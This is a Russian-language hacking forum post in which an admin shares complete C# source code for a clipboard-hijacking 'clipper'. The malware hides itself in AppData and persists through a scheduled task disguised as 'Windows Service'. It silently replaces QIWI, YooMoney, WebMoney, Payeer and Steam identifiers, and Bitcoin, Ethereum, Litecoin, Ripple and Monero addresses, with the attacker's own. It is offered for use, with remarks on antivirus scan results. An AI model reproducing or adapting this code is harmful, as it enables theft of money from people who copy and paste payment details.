C# Clipboard / простейший подменщик кошельков на C#

CYBER

.:Главный злодей:.
Admins
Регистрация
7 Янв 2018
Сообщения
724
Реакции
1,010
Депозит
2457$
Исходник на C# простого подменьщика кошельков в буфере обмена
Сканы:
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Рантайм не плохой(будет меньше если подписать цифровой подписью по моему мануалу тут):



Подменяет:
  • qiwi
  • ymoney
  • steam
  • ydisk
  • donat
  • qiwime
  • wmr
  • wmz
  • wmx
  • wmu

Весь код:
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;


namespace Clipper
{
    class Program
    {
        static string dir = Environment.GetEnvironmentVariable("AppData") + "\\system32"; // Путь к папке где будет храниться клиппер
        static string file = "host.exe"; // Имя файла


        [STAThread]
        static void Main(string[] args)
        {
            CopyFile();
            autorun();

            start();

        }

        static void start()
        {
            while (true)
            {
                Thread.Sleep(150); // В милисекундах, 1,5 сек
                replace();
            }
        }




        static void CopyFile()
        {
            try
            {
                if (!Directory.Exists(dir)) // Проверка на наличие папки
                    Directory.CreateDirectory(dir); // Если не существует, то создаем

                if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла клиппера в папке
                    File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

                File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
            }
            catch { }
        }


        static void autorun()
        {
            try
            {
                var startInfo = new ProcessStartInfo(); // Создаем процесс
                startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
                startInfo.CreateNoWindow = false; // Скрываем от пользователя
                startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
                startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
                Process.Start(startInfo); // Запускаем
            }
            catch { }
        }







        // Переменные //


        static string qiwi = "+79006666666";
        static string ymoney = "[YMONEY]";
        static string steam = "[steam trade-link]";
        static string ydisk = "[YDISK]";
        static string donat = "[DALERTS]";
        static string qiwime = "[QIWI.ME]";
        static string payeer = "[PAYEER]";
        static string wmr = "[WMR]";
        static string wmz = "[WMZ]";
        static string wmx = "[WMX]";
        static string wmu = "[WMU]";

        // Crypto
        static string bitcoin = "1MQBo6jgiyfme4rzLNgsFjg189qsJ9pQtf";
        static string ripple = "[RIPPLE]";
        static string etherium = "[ETH]";
        static string monero = "[XMR]";
        static string lcoin = "[LiteCoin]";







        static void replace()
        {
            string buffer = Clipboard.GetText();

            if (buffer == null || buffer == "")
                return;


            // WebMoney //
            if (buffer.Length == 13)
                if (buffer[0].ToString() == "R")
                    Clipboard.SetText(wmr);
                else if (buffer[0].ToString() == "Z")
                    Clipboard.SetText(wmz);
                else if (buffer[0].ToString() == "X")
                    Clipboard.SetText(wmx);
                else if (buffer[0].ToString() == "U")
                    Clipboard.SetText(wmu);
            // WebMoney //

            // QIWI //
            if (buffer.Length >= 11 && buffer.Length <= 15)
                if (buffer.StartsWith("+7") || buffer.StartsWith("7"))
                    Clipboard.SetText(qiwi);
                else if (buffer.StartsWith("+380") || buffer.StartsWith("380"))
                    Clipboard.SetText(qiwi);
                else if (buffer.StartsWith("+89") || buffer.StartsWith("89"))
                    Clipboard.SetText(qiwi);
                else if (buffer.StartsWith("+79") || buffer.StartsWith("79"))
                    Clipboard.SetText(qiwi);
                else if (buffer.StartsWith("+375") || buffer.StartsWith("375"))
                    Clipboard.SetText(qiwi);
            // QIWI //


            // YandexMoney //
            if (buffer.Length == 15)
                if (buffer.StartsWith("41"))
                    Clipboard.SetText(ymoney);
            // YandexMoney //

            // Ссылки //

            if (buffer.StartsWith("https://"))
                if (buffer.Contains("steamcommunity.com/tradeoffer/new/"))
                {
                    Clipboard.SetText(steam); // steam
                }

                else if (buffer.Contains("qiwi.me/"))
                {
                    Clipboard.SetText(qiwime); // qiwime
                }

                else if (buffer.Contains("donationalerts.com/r/"))
                {
                    Clipboard.SetText(donat); // DonationAlerts
                }
                else if (buffer.Contains("yadi.sk/d/"))
                {
                    Clipboard.SetText(ydisk); // YD
                }

            // Payeer //

            if (buffer.Length == 9 && buffer.StartsWith("P") || buffer.StartsWith("p"))
            {
                Clipboard.SetText(payeer);
            }

            // Payeer //

            // All crypto //
            if (buffer.Length == 34)
            {
                if (buffer.StartsWith("L") || buffer.StartsWith("3"))
                { Clipboard.SetText(lcoin); } // LiteCoin                 
            }

            if (buffer.Length >= 24 && buffer.Length <= 34 && buffer.StartsWith("1"))
            {
                Clipboard.SetText(bitcoin);
            }

            if (buffer.Length >= 40 && buffer.StartsWith("0x"))
            {
                Clipboard.SetText(etherium);
            }

            if (buffer.Length >= 25 && buffer.Length <= 35 && buffer.StartsWith("r"))
            {
                Clipboard.SetText(ripple);
            }

            if (buffer.Length >= 95 && buffer.Length <= 106 && buffer.StartsWith("4"))
            {
                Clipboard.SetText(monero);
            }
            // All crypto //

        } // END rplace






    }
}
 

Вложения

OP
OP
CYBER

CYBER

.:Главный злодей:.
Admins
Регистрация
7 Янв 2018
Сообщения
724
Реакции
1,010
Депозит
2457$
Добавил, рантайм и скантайм
 
Сверху